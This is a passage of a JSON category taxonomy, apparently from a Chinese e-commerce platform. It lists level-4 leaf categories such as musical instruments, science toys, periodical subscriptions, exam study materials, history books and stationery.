:23830,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29785,"name":"钹类","parent_cid":23837,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29825,"name":"卡林巴/拇指琴","parent_cid":23837,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29795,"name":"木琴/钟琴","parent_cid":23837,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29784,"name":"竖琴","parent_cid":23837,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29831,"name":"其它西洋乐器","parent_cid":23837,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30126,"name":"搭建建筑/DIY建筑艺术玩具","parent_cid":23934,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30124,"name":"电路/开关玩具","parent_cid":23934,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30125,"name":"风动船/风动转向玩具","parent_cid":23934,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30129,"name":"空气动力玩具","parent_cid":23934,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30130,"name":"气动机械组装玩具","parent_cid":23934,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30128,"name":"水动力玩具","parent_cid":23934,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30127,"name":"太阳能玩具","parent_cid":23934,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30123,"name":"热胀冷缩/感温玩具","parent_cid":23933,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":29324,"name":"财经类报纸订阅","parent_cid":23301,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29302,"name":"IT类报纸订阅","parent_cid":23301,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29322,"name":"军事类报纸订阅","parent_cid":23301,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29320,"name":"体育类报纸订阅","parent_cid":23301,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29323,"name":"新闻类报纸订阅","parent_cid":23301,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29325,"name":"音乐类报纸订阅","parent_cid":23301,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29321,"name":"其它类报纸订阅","parent_cid":23301,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29327,"name":"保健类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29332,"name":"财经类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34392,"name":"儿童类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29330,"name":"服饰类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29303,"name":"IT类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34393,"name":"教辅学习类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29329,"name":"旅游类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29331,"name":"汽车类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29326,"name":"体育类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29333,"name":"音乐类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29328,"name":"其它类期刊订阅","parent_cid":23302,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29275,"name":"畜牧/养殖","parent_cid":23068,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29273,"name":"林业","parent_cid":23068,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29276,"name":"农业基础科学","parent_cid":23068,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29277,"name":"农业科学其它","parent_cid":23068,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29272,"name":"园艺","parent_cid":23068,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29274,"name":"渔业","parent_cid":23068,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29344,"name":"国家地理","parent_cid":23417,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29343,"name":"人物","parent_cid":23417,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29211,"name":"财税外贸保险类职称考试其它","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29203,"name":"初级会计职称考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29197,"name":"跟单员","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29209,"name":"国际会计师专业资格考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29202,"name":"会计从业资格考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29205,"name":"经济专业技术资格 ( 经济师 )","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29206,"name":"美国管理会计师考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29208,"name":"统计专业技术资格考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29207,"name":"英国特许公认会计师ACCA","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29204,"name":"证券从业资格考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29201,"name":"中级会计职称考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29198,"name":"注册会计师考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29210,"name":"注册审计师执业资格考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29199,"name":"注册税务师考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29200,"name":"注册统计师考试","parent_cid":23033,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29265,"name":"城市规划师考试","parent_cid":23047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29264,"name":"二级建筑师考试","parent_cid":23047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29262,"name":"建筑考试其他","parent_cid":23047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29267,"name":"全国二级建造师考试","parent_cid":23047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29266,"name":"全国一级建造师考试","parent_cid":23047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29263,"name":"一级建筑师考试","parent_cid":23047,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29195,"name":"大学教材","parent_cid":23031,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29196,"name":"小学教材","parent_cid":23031,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29194,"name":"中学教材","parent_cid":23031,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29247,"name":"Adobe认证","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29248,"name":"Cisco认证","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29253,"name":"计算机考试其它","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29256,"name":"计算机软件专业技术资格和水平","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29249,"name":"Microsoft认证","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29250,"name":"Oracle认证","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29254,"name":"全国计算机等级考试","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29255,"name":"全国计算机应用技术NIT","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29251,"name":"SUN认证","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29252,"name":"系统分析员","parent_cid":23045,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29222,"name":"德语考试","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29224,"name":"法语考试","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29227,"name":"公共英语/PET","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29236,"name":"管理类研究生报考/GMAT","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29232,"name":"剑桥商务英语/BEC","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29223,"name":"日语考试","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29218,"name":"TOEIC","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29220,"name":"托福/TOEFL","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29229,"name":"研究生报考/GRE","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29219,"name":"雅思/IELTS","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29235,"name":"英语翻译资格考试","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29234,"name":"英语口译资格考试","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29231,"name":"英语口语考试","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29226,"name":"英语三级","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29228,"name":"英语四六级","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29225,"name":"职称英语","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29233,"name":"专业英语四八级","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29221,"name":"其它外语","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29230,"name":"其它外语考试","parent_cid":23038,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29258,"name":"护士考试","parent_cid":23046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29261,"name":"卫生资格考试","parent_cid":23046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29259,"name":"药学考试","parent_cid":23046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29268,"name":"医药卫生类职称考试其它","parent_cid":23046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29257,"name":"执业医师","parent_cid":23046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29260,"name":"中国营养师","parent_cid":23046,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29215,"name":"升学考试其它","parent_cid":23035,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23039,"name":"小学教辅","parent_cid":23035,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23036,"name":"中学教辅","parent_cid":23035,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29245,"name":"导游员资格考试","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29240,"name":"电子商务师","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29244,"name":"公关员资格考试","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29242,"name":"教师资格考试","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29246,"name":"秘书资格证书考试","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29238,"name":"企业培训师","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29243,"name":"人力资源管理师","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29237,"name":"物流师","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29239,"name":"物业管理员","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29241,"name":"执业考试其它","parent_cid":23044,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29167,"name":"大洋洲史","parent_cid":22830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29163,"name":"非洲史","parent_cid":22830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29162,"name":"美洲史","parent_cid":22830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29161,"name":"欧洲史","parent_cid":22830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29166,"name":"世界通史","parent_cid":22830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29160,"name":"亚洲","parent_cid":22830,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29171,"name":"当代史(1919-1949)","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29174,"name":"近现代史(1840-1919)","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29165,"name":"明清史","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29176,"name":"三国两晋南北朝","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29172,"name":"宋辽金元史","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29175,"name":"隋唐五代十国","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29164,"name":"先秦史","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29169,"name":"战国秦汉","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29168,"name":"中国通史","parent_cid":22831,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29286,"name":"词汇","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29285,"name":"翻译","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29284,"name":"教材","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29293,"name":"求职英语","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29292,"name":"商务英语","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29294,"name":"生活英语","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29291,"name":"双语读物","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29287,"name":"听力/口语","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29283,"name":"写作","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29289,"name":"行业/职业英语","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29298,"name":"英语词汇","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29297,"name":"英语翻译","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29296,"name":"英语口语","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29295,"name":"英语写作","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29301,"name":"英语学术著作","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29300,"name":"英语学习方法","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29299,"name":"英语语法","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29288,"name":"娱乐/休闲英语","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29282,"name":"专著","parent_cid":23079,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29279,"name":"德语","parent_cid":23078,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29278,"name":"俄语","parent_cid":23078,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29281,"name":"法语","parent_cid":23078,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29280,"name":"日语","parent_cid":23078,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29290,"name":"其它语系","parent_cid":23078,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29178,"name":"非洲/大洋洲文学小说","parent_cid":22946,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29177,"name":"美国/美洲文学小说","parent_cid":22946,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29179,"name":"日韩文学/亚洲文学小说","parent_cid":22946,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29180,"name":"英国文学/欧洲文学小说","parent_cid":22946,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29306,"name":"地震","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29305,"name":"动物","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29311,"name":"海洋","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29316,"name":"海洋生物","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29310,"name":"河流","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29318,"name":"环境保护/治理","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29319,"name":"科普读物其它","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29307,"name":"昆虫","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29314,"name":"历史学","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29313,"name":"鸟类","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29309,"name":"气象","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29304,"name":"人类","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29312,"name":"生态","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29315,"name":"星体观测","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29308,"name":"植物","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":29317,"name":"自然灾害","parent_cid":23324,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30682,"name":"算盘","parent_cid":26030,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30684,"name":"本册","parent_cid":26159,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30683,"name":"便签","parent_cid":26159,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30691,"name":"剪刀","parent_cid":26169,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30692,"name":"美工刀","parent_cid":26169,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30686,"name":"胶棒","parent_cid":26163,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30687,"name":"胶水","parent_cid":26163,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30688,"name":"放大镜","parent_cid":26164,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30690,"name":"各类尺/三角板","parent_cid":26164,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30689,"name":"显微镜","parent_cid":26164,"level":4,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":30973,"name":"常见病防治","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30966,"name":"健身","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30969,"name":"家庭医生","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30967,"name":"两性健康","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30970,"name":"心理健康","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30971,"name":"饮食营养 食疗","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30972,"name":"中老年保健","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30968,"name":"中医养生","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30974,"name":"自由组套(仅限弱关联套装书)","parent_cid":27593,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30824,"name":"宠物报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30788,"name":"服饰/美容报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30785,"name":"怀孕/育儿报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30884,"name":"家居设计报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30874,"name":"计算机报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30825,"name":"旅游报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30789,"name":"烹饪/饮食报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30827,"name":"汽车报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30881,"name":"人文地理报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30784,"name":"商业/财经报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30826,"name":"时尚报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30882,"name":"体育运动报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30786,"name":"文摘/文学报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30787,"name":"新闻/时事报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30883,"name":"医疗保健报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30779,"name":"影视/娱乐/音乐报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30790,"name":"艺术/摄影报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30894,"name":"综合及其它报纸","parent_cid":27568,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30805,"name":"财经人物","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30781,"name":"领袖/政治人物","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30804,"name":"历史人物","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30780,"name":"人物/传记其它","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30794,"name":"体育界","parent_cid":27564,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":n